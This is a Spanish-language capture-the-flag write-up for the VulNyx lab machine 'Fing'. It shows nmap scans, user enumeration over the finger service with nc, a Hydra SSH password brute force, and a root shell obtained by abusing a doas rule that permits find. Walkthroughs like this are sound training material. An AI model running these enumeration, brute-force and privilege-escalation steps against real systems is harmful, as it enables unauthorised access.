🔵 NYX - Fing
#vulnyx
#nyx
#linux
#finger
#ssh (bruteforce)
#doas
Mayo 11, 2023 by Miguel R. (d4t4s3c)
Information
Fing es una máquina Linux de la plataforma VulNyx, tiene un nivel de dificultad bajo y fue creada por el usuario d4t4s3c.
- Acceso incial: Enumero a un usuario mediante el servicio Finger, se realiza fuerza bruta de password sobre el usuario encontrado y se accede por el servicio SSH.
- Escalada de privilegios: Mediante DOAS ejecuto un binario con permisos elevados y obtengo una shell como usuario root.
Enumeration
Nmap
TCP
❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.43
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-15 14:05 CET
Nmap scan report for 192.168.1.43
Host is up (0.000077s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
79/tcp open finger
80/tcp open http
❯ nmap -sVC -p22,79,80 192.168.1.43
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-15 14:05 CET
Nmap scan report for 192.168.1.43
Host is up (0.00061s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
79/tcp open finger Linux fingerd
|_finger: No one logged on.\x0D
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
Shell (adam)
79/TCP (FINGER)
User Brute Force
Intento enumerar usuarios con con el wordlist name.txt
de SecLists y obtengo éxito con el usuario adam
❯ find /opt/SecLists -name names.txt 2>/dev/null
/opt/SecLists/Usernames/Names/names.txt
❯ cp /opt/SecLists/Usernames/Names/names.txt .
❯ for users in $(cat names.txt); do echo ${users} | timeout 0.3 bash -c 'nc -vn 192.168.1.43 79 2>/dev/null'; done|grep "Login" |awk '{print $2}'
adam
22/TCP (SSH)
Password Brute Force
Al disponer de un usuario valido, trato de obtener su password con Hydra
❯ hydra -t 64 -l adam -P /opt/techyou.txt ssh://192.168.1.43 -F -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-15 14:25:29
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 10000 login tries (l:1/p:10000), ~157 tries per task
[DATA] attacking ssh://192.168.1.43:22/
[STATUS] 512.00 tries/min, 512 tries in 00:01h, 9533 to do in 00:19h, 19 active
[22][ssh] host: 192.168.1.43 login: adam password: passion
[STATUS] attack finished for 192.168.1.43 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-15 14:27:08
Obtengo el password passion
del usuario adam
y accedo al sistema con las credenciales obtenidas
❯ ssh adam@192.168.1.43
adam@192.168.1.43's password:
Linux fing 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
Last login: Sun Apr 23 13:21:44 2023 from 192.168.1.10
adam@fing:~$ id ; hostname
uid=1000(adam) gid=1000(adam) grupos=1000(adam)
fing
Privilege Escalation
El usuario adam
tiene permisos suid
sobre el binario doas
adam@fing:~$ find / -perm -4000 2>/dev/null
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/doas
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/newgrp
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
adam@fing:~$ ls -l /usr/bin/doas
-rwsr-xr-x 1 root root 39008 feb 5 2021 /usr/bin/doas
Reviso el archivo /etc/doas.conf
y veo que puedo ejecutar como root
el binario find
con doas
adam@fing:~$ cat /etc/doas.conf
permit nopass keepenv adam as root cmd /usr/bin/find
En GTFOBins nos dan el one liner para escapar una shell y me convierto en usuario root
adam@fing:~$ doas -u root /usr/bin/find . -exec /bin/sh \; -quit
# bash -pi
root@fing:/home/adam# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
fing
Flags
Ya como usuario root
puedo leer las flags user.txt
y root.txt
root@fing:/home/adam# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
1edf2d**************************
ff18a9**************************
Hasta aquí la resolución de la máquina Fing.
Happy Hacking!
